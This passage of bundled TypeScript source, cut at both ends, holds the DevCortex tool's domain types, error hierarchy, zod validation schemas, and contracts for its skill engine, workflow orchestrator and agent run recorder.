lazy, literalType as literal, mapType as map, nanType as nan, nativeEnumType as nativeEnum, neverType as never, nullType as null, nullableType as nullable, numberType as number, objectType as object, oboolean, onumber, optionalType as optional, ostring, pipelineType as pipeline, preprocessType as preprocess, promiseType as promise, recordType as record, setType as set, strictObjectType as strictObject, stringType as string, symbolType as symbol, effectsType as transformer, tupleType as tuple, undefinedType as undefined, unionType as union, unknownType as unknown, voidType as void, };\nexport const NEVER = INVALID;\n","// ============================================================================\n// DevCortex domain contract — shared types.\n//\n// This file is the single source of truth for the data shapes that flow\n// between every engine module (graph, ledgers, compilers, blast-radius, gates,\n// policy, evidence, stackpacks) and every surface (CLI, MCP server, Claude\n// integration). Persisted artifacts also have zod schemas in ./schemas that are\n// compile-time-checked to match these interfaces; this file owns the canonical\n// interface, schemas own runtime validation at the disk boundary.\n//\n// Convention: relative imports omit extensions (moduleResolution: \"Bundler\").\n// ============================================================================\n\n// --- Risk, modes, depth, privacy -------------------------------------------\n\nexport const RISK_LEVELS = ['low', 'medium', 'high', 'critical'] as const;\nexport type RiskLevel = (typeof RISK_LEVELS)[number];\n\nexport const OPERATING_MODES = ['passive', 'guarded', 'autopilot'] as const;\nexport type OperatingMode = (typeof OPERATING_MODES)[number];\n\nexport const CONTEXT_DEPTHS = ['tiny', 'standard', 'deep'] as const;\nexport type ContextDepth = (typeof CONTEXT_DEPTHS)[number];\n\nexport const PRIVACY_MODES = ['local-only', 'metadata-cloud', 'deep-cloud'] as const;\nexport type PrivacyMode = (typeof PRIVACY_MODES)[number];\n\n// --- Task taxonomy ----------------------------------------------------------\n\nexport const TASK_TYPES = [\n 'feature',\n 'bugfix',\n 'ui',\n 'auth',\n 'billing',\n 'database',\n 'api',\n 'dependency',\n 'security',\n 'devops',\n 'refactor',\n 'test',\n 'docs',\n 'release',\n 'chore',\n] as const;\nexport type TaskType = (typeof TASK_TYPES)[number];\n\n// --- Project graph primitives ----------------------------------------------\n\nexport const FRAMEWORKS = [\n 'nextjs',\n 'react',\n 'vite',\n 'express',\n 'node',\n 'fastapi',\n 'unknown',\n] as const;\nexport type Framework = (typeof FRAMEWORKS)[number];\n\nexport const LANGUAGES = ['typescript', 'javascript', 'python', 'go', 'unknown'] as const;\nexport type Language = (typeof LANGUAGES)[number];\n\nexport const PACKAGE_MANAGERS = ['pnpm', 'npm', 'yarn', 'bun', 'pip', 'poetry', 'unknown'] as const;\nexport type PackageManager = (typeof PACKAGE_MANAGERS)[number];\n\nexport const FILE_KINDS = [\n 'route',\n 'page',\n 'api',\n 'component',\n 'service',\n 'auth',\n 'billing',\n 'middleware',\n 'config',\n 'test',\n 'migration',\n 'env',\n 'lib',\n 'style',\n 'schema',\n 'other',\n] as const;\nexport type FileKind = (typeof FILE_KINDS)[number];\n\n// --- Evidence primitives ----------------------------------------------------\n\nexport const EVIDENCE_STATUSES = ['verified', 'partial', 'refuted', 'unverified'] as const;\nexport type EvidenceStatus = (typeof EVIDENCE_STATUSES)[number];\n\nexport const EVIDENCE_KINDS = [\n 'build',\n 'test',\n 'lint',\n 'typecheck',\n 'route',\n 'file',\n 'symbol',\n 'import',\n 'command',\n 'env',\n 'runtime',\n 'migration',\n] as const;\nexport type EvidenceKind = (typeof EVIDENCE_KINDS)[number];\n\n// --- Project graph (persisted to .cortex/graph.json) ------------------------\n\nexport interface DetectedStack {\n framework: Framework;\n language: Language;\n packageManager: PackageManager;\n frameworkVersion?: string;\n monorepo: boolean;\n deploymentTargets: string[];\n}\n\nexport interface FileNode {\n /** repo-relative POSIX path */\n path: string;\n kind: FileKind;\n /** resolved repo-relative paths this file imports */\n imports: string[];\n /** repo-relative paths that import this file */\n importedBy: string[];\n /** top-level exported symbol names, best-effort */\n symbols: string[];\n /** true when the file touches a security/financial/structural surface */\n risky: boolean;\n tags: string[];\n}\n\nexport interface RouteNode {\n /** e.g. \"/dashboard\", \"/api/user\" */\n routePath: string;\n file: string;\n kind: 'page' | 'api' | 'layout';\n}\n\nexport interface EnvVar {\n name: string;\n usedIn: string[];\n documented: boolean;\n}\n\nexport interface GraphStats {\n fileCount: number;\n routeCount: number;\n apiCount: number;\n testCount: number;\n riskyCount: number;\n}\n\nexport interface ProjectGraph {\n schemaVersion: number;\n /** absolute repo root */\n root: string;\n generatedAt: string;\n stack: DetectedStack;\n files: FileNode[];\n routes: RouteNode[];\n envVars: EnvVar[];\n scripts: Record<string, string>;\n riskyFiles: string[];\n stats: GraphStats;\n}\n\n// --- Ledgers (persisted under .cortex/) -------------------------------------\n\nexport const MEMORY_TYPES = [\n 'fact',\n 'decision',\n 'risk',\n 'assumption',\n 'constraint',\n 'pattern',\n] as const;\nexport type MemoryType = (typeof MEMORY_TYPES)[number];\n\nexport interface EvidenceRef {\n id: string;\n claim: string;\n status: EvidenceStatus;\n}\n\nexport interface MemoryItem {\n id: string;\n type: MemoryType;\n title: string;\n summary: string;\n createdAt: string;\n updatedAt: string;\n source: string;\n /** 0..1 — unverified memory must never be treated as permanent truth */\n confidence: number;\n evidence: EvidenceRef[];\n relatedFiles: string[];\n relatedFeatures: string[];\n riskLevel: RiskLevel;\n expiry?: string;\n lastVerified?: string;\n}\n\nexport const FEATURE_STATUSES = ['planned', 'building', 'shipped', 'deprecated'] as const;\nexport type FeatureStatus = (typeof FEATURE_STATUSES)[number];\n\nexport interface FeatureRecord {\n id: string;\n feature: string;\n status: FeatureStatus;\n builtAt?: string;\n updatedAt: string;\n purpose: string;\n userValue: string;\n routes: string[];\n components: string[];\n apiEndpoints: string[];\n databaseTables: string[];\n envVars: string[];\n dependencies: string[];\n protectedBehaviors: string[];\n acceptanceCriteria: string[];\n tests: string[];\n evidence: EvidenceRef[];\n knownRisks: string[];\n relatedDecisions: string[];\n regressionChecks: string[];\n}\n\nexport const DECISION_STATUSES = ['proposed', 'accepted', 'superseded'] as const;\nexport type DecisionStatus = (typeof DECISION_STATUSES)[number];\n\nexport interface DecisionRecord {\n id: string;\n decision: string;\n context: string;\n optionsConsidered: string[];\n chosenOption: string;\n reason: string;\n tradeoffs: string[];\n date: string;\n affectedFiles: string[];\n status: DecisionStatus;\n reviewDate?: string;\n}\n\nexport interface EvidenceItem {\n id: string;\n claim: string;\n status: EvidenceStatus;\n kind: EvidenceKind;\n detail: string;\n command?: string;\n exitCode?: number;\n output?: string;\n createdAt: string;\n}\n\n// --- Config (.cortex/config.yaml) -------------------------------------------\n\nexport interface RiskPolicy {\n /** glob patterns whose edits are treated as high/critical risk */\n protectedPaths: string[];\n /** task-type -> minimum risk floor */\n floors: Partial<Record<TaskType, RiskLevel>>;\n}\n\nexport interface GateConfig {\n typecheck: boolean;\n lint: boolean;\n build: boolean;\n test: boolean;\n /** block \"done\" when required evidence is missing */\n blockUnprovenDone: boolean;\n}\n\nexport interface CortexCommands {\n typecheck?: string;\n lint?: string;\n build?: string;\n test?: string;\n}\n\nexport interface CortexConfig {\n schemaVersion: number;\n mode: OperatingMode;\n privacy: PrivacyMode;\n risk: RiskPolicy;\n gates: GateConfig;\n /** stack pack ids to force-load in addition to auto-detected ones */\n stackPacks: string[];\n /** commands the gates use, overriding stack-pack defaults */\n commands: CortexCommands;\n}\n\n// --- Computed: risk classification ------------------------------------------\n\nexport interface RiskClassification {\n riskLevel: RiskLevel;\n taskType: TaskType;\n signals: string[];\n rationale: string;\n}\n\n// --- Computed: intent contract ---------------------------------------------\n\nexport interface IntentContract {\n goal: string;\n nonGoals: string[];\n taskType: TaskType;\n riskLevel: RiskLevel;\n affectedAreas: string[];\n requiredContext: string[];\n acceptanceCriteria: string[];\n regressionRisks: string[];\n implementationStages: string[];\n verificationPlan: string[];\n definitionOfDone: string[];\n assumptions: string[];\n}\n\n// --- Computed: context pack --------------------------------------------------\n\nexport interface ContextPack {\n depth: ContextDepth;\n tokenEstimate: number;\n relevantFiles: string[];\n relatedFeatures: string[];\n patterns: string[];\n constraints: string[];\n knownFailures: string[];\n forbiddenApproaches: string[];\n testsToRun: string[];\n /** compact markdown rendering suitable for injection into a host agent */\n markdown: string;\n}\n\n// --- Computed: blast radius --------------------------------------------------\n\nexport interface BlastRadius {\n changedFiles: string[];\n affectedRoutes: string[];\n affectedComponents: string[];\n affectedApi: string[];\n affectedTables: string[];\n affectsAuth: boolean;\n affectsBilling: boolean;\n affectedEnvVars: string[];\n affectedTests: string[];\n fragileAreas: string[];\n requiredChecks: string[];\n severity: RiskLevel;\n}\n\n// --- Computed: gates + ship report ------------------------------------------\n\nexport interface CheckResult {\n name: string;\n passed: boolean;\n detail: string;\n evidenceId?: string;\n}\n\nexport interface GateResult {\n gate: string;\n passed: boolean;\n checks: CheckResult[];\n}\n\nexport const SHIP_STATUSES = ['READY', 'READY_WITH_WARNINGS', 'NOT_READY'] as const;\nexport type ShipStatus = (typeof SHIP_STATUSES)[number];\n\nexport interface ShipReport {\n status: ShipStatus;\n passed: CheckResult[];\n blocked: CheckResult[];\n warnings: string[];\n suggestedPrompt?: string;\n evidenceIds: string[];\n generatedAt: string;\n}\n\n// --- Stack packs ------------------------------------------------------------\n\nexport interface Rule {\n id: string;\n title: string;\n detail: string;\n severity: RiskLevel;\n appliesTo?: FileKind[];\n}\n\nexport interface VersionCheck {\n pkg: string;\n /** semver range considered current/supported */\n supported: string;\n note: string;\n}\n\nexport interface KnownFailure {\n id: string;\n signature: string;\n cause: string;\n fix: string;\n}\n\nexport interface StackPack {\n id: string;\n name: string;\n /** true when this pack applies to the detected stack */\n matches: (stack: DetectedStack) => boolean;\n bestPractices: Rule[];\n antiPatterns: Rule[];\n recommendedLibraries: string[];\n versionChecks: VersionCheck[];\n setupCommands: string[];\n testCommands: string[];\n qualityGates: string[];\n securityNotes: string[];\n deploymentNotes: string[];\n commonFailures: KnownFailure[];\n}\n","// ============================================================================\n// DevCortex error hierarchy.\n//\n// Every failure path in the engine throws a DevCortexError (or subclass) with a\n// stable, machine-readable `code`. Surfaces (CLI, MCP, hooks) switch on `code`\n// to decide presentation and, crucially, fail-safe behaviour: a hook that\n// catches a DevCortexError degrades to passive mode rather than blocking the\n// user's work.\n// ============================================================================\n\nexport const DEVCORTEX_ERROR_CODES = [\n 'CONFIG_INVALID',\n 'CONFIG_NOT_FOUND',\n 'WORKSPACE_NOT_INITIALIZED',\n 'WORKSPACE_EXISTS',\n 'SCAN_FAILED',\n 'GATE_FAILED',\n 'EVIDENCE_INVALID',\n 'POLICY_VIOLATION',\n 'LEDGER_CORRUPT',\n 'SCHEMA_VALIDATION',\n 'STACK_PACK_INVALID',\n 'INTERNAL',\n] as const;\n\nexport type DevCortexErrorCode = (typeof DEVCORTEX_ERROR_CODES)[number];\n\nexport interface DevCortexErrorOptions {\n details?: unknown;\n cause?: unknown;\n}\n\nexport class DevCortexError extends Error {\n readonly code: DevCortexErrorCode;\n readonly details?: unknown;\n\n constructor(code: DevCortexErrorCode, message: string, options: DevCortexErrorOptions = {}) {\n super(message, options.cause !== undefined ? { cause: options.cause } : undefined);\n this.name = 'DevCortexError';\n this.code = code;\n this.details = options.details;\n }\n}\n\nexport class ConfigError extends DevCortexError {\n constructor(message: string, options?: DevCortexErrorOptions) {\n super('CONFIG_INVALID', message, options);\n this.name = 'ConfigError';\n }\n}\n\nexport class WorkspaceError extends DevCortexError {\n constructor(\n code: Extract<DevCortexErrorCode, 'WORKSPACE_NOT_INITIALIZED' | 'WORKSPACE_EXISTS'>,\n message: string,\n options?: DevCortexErrorOptions,\n ) {\n super(code, message, options);\n this.name = 'WorkspaceError';\n }\n}\n\nexport class ScanError extends DevCortexError {\n constructor(message: string, options?: DevCortexErrorOptions) {\n super('SCAN_FAILED', message, options);\n this.name = 'ScanError';\n }\n}\n\nexport class GateError extends DevCortexError {\n constructor(message: string, options?: DevCortexErrorOptions) {\n super('GATE_FAILED', message, options);\n this.name = 'GateError';\n }\n}\n\nexport class EvidenceError extends DevCortexError {\n constructor(message: string, options?: DevCortexErrorOptions) {\n super('EVIDENCE_INVALID', message, options);\n this.name = 'EvidenceError';\n }\n}\n\nexport class PolicyViolationError extends DevCortexError {\n constructor(message: string, options?: DevCortexErrorOptions) {\n super('POLICY_VIOLATION', message, options);\n this.name = 'PolicyViolationError';\n }\n}\n\nexport class LedgerError extends DevCortexError {\n constructor(message: string, options?: DevCortexErrorOptions) {\n super('LEDGER_CORRUPT', message, options);\n this.name = 'LedgerError';\n }\n}\n\nexport class SchemaValidationError extends DevCortexError {\n constructor(message: string, options?: DevCortexErrorOptions) {\n super('SCHEMA_VALIDATION', message, options);\n this.name = 'SchemaValidationError';\n }\n}\n\n/** Type guard usable across surfaces and tests. */\nexport function isDevCortexError(err: unknown): err is DevCortexError {\n return err instanceof DevCortexError;\n}\n","// ============================================================================\n// Runtime validation for persisted artifacts.\n//\n// Anything read back from disk (config.yaml, the ledgers, the cached graph) is\n// untrusted input and must be validated at the boundary. These zod schemas are\n// the validators; the interfaces in ./types are the canonical contract. The\n// `assertSchemaMatchesType` block at the bottom is a compile-time guarantee\n// that the two never drift apart.\n// ============================================================================\n\nimport { z } from 'zod';\nimport type {\n CortexConfig,\n DecisionRecord,\n DetectedStack,\n EnvVar,\n EvidenceItem,\n EvidenceRef,\n FeatureRecord,\n FileNode,\n GraphStats,\n MemoryItem,\n ProjectGraph,\n RouteNode,\n} from './types';\nimport {\n DECISION_STATUSES,\n EVIDENCE_KINDS,\n EVIDENCE_STATUSES,\n FEATURE_STATUSES,\n FILE_KINDS,\n FRAMEWORKS,\n LANGUAGES,\n MEMORY_TYPES,\n OPERATING_MODES,\n PACKAGE_MANAGERS,\n PRIVACY_MODES,\n RISK_LEVELS,\n TASK_TYPES,\n} from './types';\n\n// --- enums ------------------------------------------------------------------\n\nexport const RiskLevelSchema = z.enum(RISK_LEVELS);\nexport const OperatingModeSchema = z.enum(OPERATING_MODES);\nexport const PrivacyModeSchema = z.enum(PRIVACY_MODES);\nexport const TaskTypeSchema = z.enum(TASK_TYPES);\nexport const FrameworkSchema = z.enum(FRAMEWORKS);\nexport const LanguageSchema = z.enum(LANGUAGES);\nexport const PackageManagerSchema = z.enum(PACKAGE_MANAGERS);\nexport const FileKindSchema = z.enum(FILE_KINDS);\nexport const EvidenceStatusSchema = z.enum(EVIDENCE_STATUSES);\nexport const EvidenceKindSchema = z.enum(EVIDENCE_KINDS);\nexport const MemoryTypeSchema = z.enum(MEMORY_TYPES);\nexport const FeatureStatusSchema = z.enum(FEATURE_STATUSES);\nexport const DecisionStatusSchema = z.enum(DECISION_STATUSES);\n\n// --- project graph ----------------------------------------------------------\n\nexport const DetectedStackSchema = z.object({\n framework: FrameworkSchema,\n language: LanguageSchema,\n packageManager: PackageManagerSchema,\n frameworkVersion: z.string().optional(),\n monorepo: z.boolean(),\n deploymentTargets: z.array(z.string()),\n});\n\nexport const FileNodeSchema = z.object({\n path: z.string(),\n kind: FileKindSchema,\n imports: z.array(z.string()),\n importedBy: z.array(z.string()),\n symbols: z.array(z.string()),\n risky: z.boolean(),\n tags: z.array(z.string()),\n});\n\nexport const RouteNodeSchema = z.object({\n routePath: z.string(),\n file: z.string(),\n kind: z.enum(['page', 'api', 'layout']),\n});\n\nexport const EnvVarSchema = z.object({\n name: z.string(),\n usedIn: z.array(z.string()),\n documented: z.boolean(),\n});\n\nexport const GraphStatsSchema = z.object({\n fileCount: z.number(),\n routeCount: z.number(),\n apiCount: z.number(),\n testCount: z.number(),\n riskyCount: z.number(),\n});\n\nexport const ProjectGraphSchema = z.object({\n schemaVersion: z.number(),\n root: z.string(),\n generatedAt: z.string(),\n stack: DetectedStackSchema,\n files: z.array(FileNodeSchema),\n routes: z.array(RouteNodeSchema),\n envVars: z.array(EnvVarSchema),\n scripts: z.record(z.string(), z.string()),\n riskyFiles: z.array(z.string()),\n stats: GraphStatsSchema,\n});\n\n// --- evidence + ledgers -----------------------------------------------------\n\nexport const EvidenceRefSchema = z.object({\n id: z.string(),\n claim: z.string(),\n status: EvidenceStatusSchema,\n});\n\nexport const EvidenceItemSchema = z.object({\n id: z.string(),\n claim: z.string(),\n status: EvidenceStatusSchema,\n kind: EvidenceKindSchema,\n detail: z.string(),\n command: z.string().optional(),\n exitCode: z.number().optional(),\n output: z.string().optional(),\n createdAt: z.string(),\n});\n\nexport const MemoryItemSchema = z.object({\n id: z.string(),\n type: MemoryTypeSchema,\n title: z.string(),\n summary: z.string(),\n createdAt: z.string(),\n updatedAt: z.string(),\n source: z.string(),\n confidence: z.number().min(0).max(1),\n evidence: z.array(EvidenceRefSchema),\n relatedFiles: z.array(z.string()),\n relatedFeatures: z.array(z.string()),\n riskLevel: RiskLevelSchema,\n expiry: z.string().optional(),\n lastVerified: z.string().optional(),\n});\n\nexport const FeatureRecordSchema = z.object({\n id: z.string(),\n feature: z.string(),\n status: FeatureStatusSchema,\n builtAt: z.string().optional(),\n updatedAt: z.string(),\n purpose: z.string(),\n userValue: z.string(),\n routes: z.array(z.string()),\n components: z.array(z.string()),\n apiEndpoints: z.array(z.string()),\n databaseTables: z.array(z.string()),\n envVars: z.array(z.string()),\n dependencies: z.array(z.string()),\n protectedBehaviors: z.array(z.string()),\n acceptanceCriteria: z.array(z.string()),\n tests: z.array(z.string()),\n evidence: z.array(EvidenceRefSchema),\n knownRisks: z.array(z.string()),\n relatedDecisions: z.array(z.string()),\n regressionChecks: z.array(z.string()),\n});\n\nexport const DecisionRecordSchema = z.object({\n id: z.string(),\n decision: z.string(),\n context: z.string(),\n optionsConsidered: z.array(z.string()),\n chosenOption: z.string(),\n reason: z.string(),\n tradeoffs: z.array(z.string()),\n date: z.string(),\n affectedFiles: z.array(z.string()),\n status: DecisionStatusSchema,\n reviewDate: z.string().optional(),\n});\n\n// --- config -----------------------------------------------------------------\n\nexport const RiskPolicySchema = z.object({\n protectedPaths: z.array(z.string()),\n floors: z.record(TaskTypeSchema, RiskLevelSchema),\n});\n\nexport const GateConfigSchema = z.object({\n typecheck: z.boolean(),\n lint: z.boolean(),\n build: z.boolean(),\n test: z.boolean(),\n blockUnprovenDone: z.boolean(),\n});\n\nexport const CortexCommandsSchema = z.object({\n typecheck: z.string().optional(),\n lint: z.string().optional(),\n build: z.string().optional(),\n test: z.string().optional(),\n});\n\nexport const CortexConfigSchema = z.object({\n schemaVersion: z.number(),\n mode: OperatingModeSchema,\n privacy: PrivacyModeSchema,\n risk: RiskPolicySchema,\n gates: GateConfigSchema,\n stackPacks: z.array(z.string()),\n commands: CortexCommandsSchema,\n});\n\n// --- compile-time drift guard -----------------------------------------------\n// If a schema and its interface ever diverge (a field is added, renamed, or\n// retyped on one side only), one of these assertions stops compiling — turning\n// a silent runtime mismatch into a build error. Mutual assignability is used\n// rather than strict identity so zod's optional-field representation does not\n// produce pedantic false positives.\n\ntype MutuallyAssignable<A, B> = A extends B ? (B extends A ? true : false) : false;\n\nfunction assertMatch<_T extends true>(): void {\n /* compile-time only */\n}\n\nassertMatch<MutuallyAssignable<z.infer<typeof DetectedStackSchema>, DetectedStack>>();\nassertMatch<MutuallyAssignable<z.infer<typeof FileNodeSchema>, FileNode>>();\nassertMatch<MutuallyAssignable<z.infer<typeof RouteNodeSchema>, RouteNode>>();\nassertMatch<MutuallyAssignable<z.infer<typeof EnvVarSchema>, EnvVar>>();\nassertMatch<MutuallyAssignable<z.infer<typeof GraphStatsSchema>, GraphStats>>();\nassertMatch<MutuallyAssignable<z.infer<typeof ProjectGraphSchema>, ProjectGraph>>();\nassertMatch<MutuallyAssignable<z.infer<typeof EvidenceRefSchema>, EvidenceRef>>();\nassertMatch<MutuallyAssignable<z.infer<typeof EvidenceItemSchema>, EvidenceItem>>();\nassertMatch<MutuallyAssignable<z.infer<typeof MemoryItemSchema>, MemoryItem>>();\nassertMatch<MutuallyAssignable<z.infer<typeof FeatureRecordSchema>, FeatureRecord>>();\nassertMatch<MutuallyAssignable<z.infer<typeof DecisionRecordSchema>, DecisionRecord>>();\nassertMatch<MutuallyAssignable<z.infer<typeof CortexConfigSchema>, CortexConfig>>();\n","// ============================================================================\n// Sub-project #2 domain contract — Skill Engine (§7.18).\n//\n// A skill is a reusable, evidence-based unit of engineering behaviour that the\n// engine can recommend, install, generate from repeated failures, and mark as\n// verified/experimental. Skill manifests are PERSISTED under `.cortex/skills/`,\n// so this file owns both the canonical interface and its runtime zod validator,\n// wired together by the compile-time drift guard at the bottom (mirrors the\n// pattern in ./schemas).\n//\n// Additive to the frozen contract in ./types + ./schemas — nothing here mutates\n// those files. Convention: relative imports omit extensions; unions are declared\n// as `as const` string arrays; interfaces own object shapes.\n// ============================================================================\n\nimport { z } from 'zod';\n\n// --- enums ------------------------------------------------------------------\n\n/**\n * Lifecycle/trust status of a skill.\n * - `built-in` — shipped with DevCortex.\n * - `verified` — proven by evidence (its checklist + commands succeeded).\n * - `experimental` — generated or imported but not yet evidence-backed.\n */\nexport const SKILL_STATUSES = ['built-in', 'verified', 'experimental'] as const;\nexport type SkillStatus = (typeof SKILL_STATUSES)[number];\n\n// --- interfaces -------------------------------------------------------------\n\n/** A named, runnable command a skill contributes (e.g. a hardening check). */\nexport interface SkillCommand {\n name: string;\n /** shell command line; executed by the gate/command runner, never eval'd */\n run: string;\n}\n\n/** Persisted skill manifest — one JSON document under `.cortex/skills/`. */\nexport interface SkillManifest {\n id: string;\n name: string;\n description: string;\n /** task signals / keywords that make this skill relevant */\n triggers: string[];\n /** ordered engineering checklist the skill enforces */\n checklist: string[];\n commands: SkillCommand[];\n antiPatterns: string[];\n mcpRecommendations: string[];\n status: SkillStatus;\n /** provenance, e.g. `built-in`, `project-generated`, or a registry ref */\n source: string;\n createdAt: string;\n updatedAt: string;\n}\n\n// --- schemas (disk boundary) ------------------------------------------------\n\nexport const SkillStatusSchema = z.enum(SKILL_STATUSES);\n\nexport const SkillCommandSchema = z.object({\n name: z.string(),\n run: z.string(),\n});\n\nexport const SkillManifestSchema = z.object({\n id: z.string(),\n name: z.string(),\n description: z.string(),\n triggers: z.array(z.string()),\n checklist: z.array(z.string()),\n commands: z.array(SkillCommandSchema),\n antiPatterns: z.array(z.string()),\n mcpRecommendations: z.array(z.string()),\n status: SkillStatusSchema,\n source: z.string(),\n createdAt: z.string(),\n updatedAt: z.string(),\n});\n\n// --- compile-time drift guard -----------------------------------------------\n// Mutual assignability, not strict identity, so zod's optional representation\n// does not produce pedantic false positives (mirrors ./schemas).\n\ntype MutuallyAssignable<A, B> = A extends B ? (B extends A ? true : false) : false;\n\nfunction assertMatch<_T extends true>(): void {\n /* compile-time only */\n}\n\nassertMatch<MutuallyAssignable<z.infer<typeof SkillCommandSchema>, SkillCommand>>();\nassertMatch<MutuallyAssignable<z.infer<typeof SkillManifestSchema>, SkillManifest>>();\n","// ============================================================================\n// Sub-project #2 domain contract — Workflow Orchestrator (§7.15).\n//\n// A workflow is a risk-scaled sequence of stages for a common agentic task. The\n// definitions (`WorkflowDefinition`) are code-level and computed; a\n// `WorkflowRun` is the PERSISTED record of one execution, stored under\n// `.cortex/workflows/` (alongside the flight recorder's `.cortex/runs/`). Only\n// the persisted `WorkflowRun` carries a zod validator + drift guard.\n//\n// Additive to the frozen contract in ./types + ./schemas. Convention: relative\n// imports omit extensions; unions are `as const` string arrays.\n// ============================================================================\n\nimport { z } from 'zod';\n\nimport type { RiskLevel, TaskType } from './types';\nimport { RiskLevelSchema } from './schemas';\n\n// --- enums ------------------------------------------------------------------\n\n/** Canonical ordered stages of a workflow (§7.15 \"Each workflow should include stages\"). */\nexport const WORKFLOW_STAGES = [\n 'classify',\n 'intent',\n 'context',\n 'blast-radius',\n 'stack-pack',\n 'research',\n 'plan',\n 'execute',\n 'verify',\n 'regression',\n 'memory',\n 'ship-report',\n 'learn',\n] as const;\nexport type WorkflowStage = (typeof WORKFLOW_STAGES)[number];\n\n/** Named workflows for common agentic development tasks (§7.15). */\nexport const WORKFLOW_IDS = [\n 'feature.build',\n 'bug.fix',\n 'ui.polish',\n 'auth.change',\n 'billing.add',\n 'database.migrate',\n 'api.integrate',\n 'dependency.upgrade',\n 'security.patch',\n 'devops.fix',\n 'deploy.prepare',\n 'refactor.safe',\n 'test.generate',\n 'docs.sync',\n 'release.prepare',\n] as const;\nexport type WorkflowId = (typeof WORKFLOW_IDS)[number];\n\n/** Per-stage execution status. */\nexport const STAGE_STATUSES = ['ok', 'skipped', 'failed'] as const;\nexport type StageStatus = (typeof STAGE_STATUSES)[number];\n\n/** Terminal status of a whole workflow run. */\nexport const WORKFLOW_RUN_STATUSES = ['completed', 'blocked', 'failed'] as const;\nexport type WorkflowRunStatus = (typeof WORKFLOW_RUN_STATUSES)[number];\n\n// --- interfaces -------------------------------------------------------------\n\n/**\n * Code-level definition of a workflow: which task types it serves, which stages\n * it runs, and an optional minimum risk floor below which it need not fire.\n * Not persisted, so no zod schema.\n */\nexport interface WorkflowDefinition {\n id: WorkflowId;\n name: string;\n taskTypes: TaskType[];\n stages: WorkflowStage[];\n minRisk?: RiskLevel;\n}\n\n/** Outcome of a single stage within a run, with links to supporting evidence. */\nexport interface StageOutcome {\n stage: WorkflowStage;\n status: StageStatus;\n detail: string;\n evidenceIds: string[];\n}\n\n/** Persisted record of one workflow execution (under `.cortex/workflows/`). */\nexport interface WorkflowRun {\n id: string;\n workflowId: WorkflowId;\n task: string;\n riskLevel: RiskLevel;\n startedAt: string;\n finishedAt?: string;\n status: WorkflowRunStatus;\n stages: StageOutcome[];\n}\n\n// --- schemas (disk boundary) ------------------------------------------------\n\nexport const WorkflowStageSchema = z.enum(WORKFLOW_STAGES);\nexport const WorkflowIdSchema = z.enum(WORKFLOW_IDS);\nexport const StageStatusSchema = z.enum(STAGE_STATUSES);\nexport const WorkflowRunStatusSchema = z.enum(WORKFLOW_RUN_STATUSES);\n\nexport const StageOutcomeSchema = z.object({\n stage: WorkflowStageSchema,\n status: StageStatusSchema,\n detail: z.string(),\n evidenceIds: z.array(z.string()),\n});\n\nexport const WorkflowRunSchema = z.object({\n id: z.string(),\n workflowId: WorkflowIdSchema,\n task: z.string(),\n riskLevel: RiskLevelSchema,\n startedAt: z.string(),\n finishedAt: z.string().optional(),\n status: WorkflowRunStatusSchema,\n stages: z.array(StageOutcomeSchema),\n});\n\n// --- compile-time drift guard -----------------------------------------------\n\ntype MutuallyAssignable<A, B> = A extends B ? (B extends A ? true : false) : false;\n\nfunction assertMatch<_T extends true>(): void {\n /* compile-time only */\n}\n\nassertMatch<MutuallyAssignable<z.infer<typeof StageOutcomeSchema>, StageOutcome>>();\nassertMatch<MutuallyAssignable<z.infer<typeof WorkflowRunSchema>, WorkflowRun>>();\n","// ============================================================================\n// Sub-project #2 domain contract — Agent Flight Recorder (§7.16).\n//\n// A `RunRecord` is the PERSISTED index for a recorded agent session, stored at\n// `.cortex/runs/<id>/record.json`. It points at the sibling artifacts the\n// recorder writes into the same directory (prompt.md, intent.md, context.md,\n// plan.md, toolcalls.jsonl, ship-report.md, learning.md, …) and captures the\n// coverage flags the \"learn from outcome\" stage keys off.\n//\n// Additive to the frozen contract in ./types + ./schemas.\n// ============================================================================\n\nimport { z } from 'zod';\n\n// --- enums ------------------------------------------------------------------\n\n/** Whether a recorded run is still accepting artifacts (`open`) or sealed (`closed`). */\nexport const RUN_STATUSES = ['open', 'closed'] as const;\nexport type RunStatus = (typeof RUN_STATUSES)[number];\n\n// --- interfaces -------------------------------------------------------------\n\n/** Persisted index of one recorded run — `.cortex/runs/<id>/record.json`. */\nexport interface RunRecord {\n id: string;\n /** absolute path to this run's directory under `.cortex/runs/` */\n dir: string;\n task: string;\n createdAt: string;\n prompt?: string;\n /** raw captured tool-call payloads; shape is host-agent-specific, hence unknown */\n toolCalls: unknown[];\n commands: string[];\n evidenceIds: string[];\n shipReportPath?: string;\n learning?: string;\n /** true once compiled intent was captured for this run */\n intentPresent: boolean;\n /** true once a context pack was captured for this run */\n contextPresent: boolean;\n /** true once an agent plan was captured for this run */\n planPresent: boolean;\n status: RunStatus;\n}\n\n// --- schemas (disk boundary) ------------------------------------------------\n\nexport const RunStatusSchema = z.enum(RUN_STATUSES);\n\nexport const RunRecordSchema = z.object({\n id: z.string(),\n dir: z.string(),\n task: z.string(),\n createdAt: z.string(),\n prompt: z.string().optional(),\n toolCalls: z.array(z.unknown()),\n commands: z.array(z.string()),\n evidenceIds: z.array(z.string()),\n shipReportPath: z.string().optional(),\n learning: z.string().optional(),\n intentPresent: z.boolean(),\n contextPresent: z.boolean(),\n planPresent: z.boolean(),\n status: RunStatusSchema,\n});\n\n// --- compile-time drift guard -----------------------------------------------\n\ntype MutuallyAssignable<A, B> = A extends B ? (B extends A ? true : false) : false;\n\nfunction assertMatch<_T extends true>(): void {\n /* compile-time only */\n}\n\nassertMatch<MutuallyAssignable<z.infer<typeof RunRecordSchema>, RunRecord>>();\n","// ============================================================================\n// Sub-project #2 domain contract — Senior Engineer Council (§7.14).\n//\n// A practical mixture-of-experts review layer: a set of reviewer \"lenses\" that\n// produce short, actionable, evidence-linked findings, invoked based on task\n// risk rather than by default. A `CouncilReport` is a COMPUTED artifact (the\n// engine derives it on demand from the graph, blast radius, and stack packs),\n// so — like RiskClassification / BlastRadius in ./types — it is types-only with\n// no persisted zod validator.\n//\n// Additive to the frozen contract in ./types + ./schemas.\n// ============================================================================\n\nimport type { RiskLevel } from './types';\n\n// --- enums ------------------------------------------------------------------\n\n/** The reviewer perspectives the council can convene (§7.14). */\nexport const REVIEWER_LENSES = [\n 'architect',\n 'security',\n 'frontend',\n 'ui-ux',\n 'qa',\n 'devops',\n 'performance',\n 'product',\n 'documentation',\n] as const;\nexport type ReviewerLens = (typeof REVIEWER_LENSES)[number];\n\n// --- interfaces -------------------------------------------------------------\n\n/** One actionable finding from a single reviewer lens. */\nexport interface CouncilFinding {\n lens: ReviewerLens;\n severity: 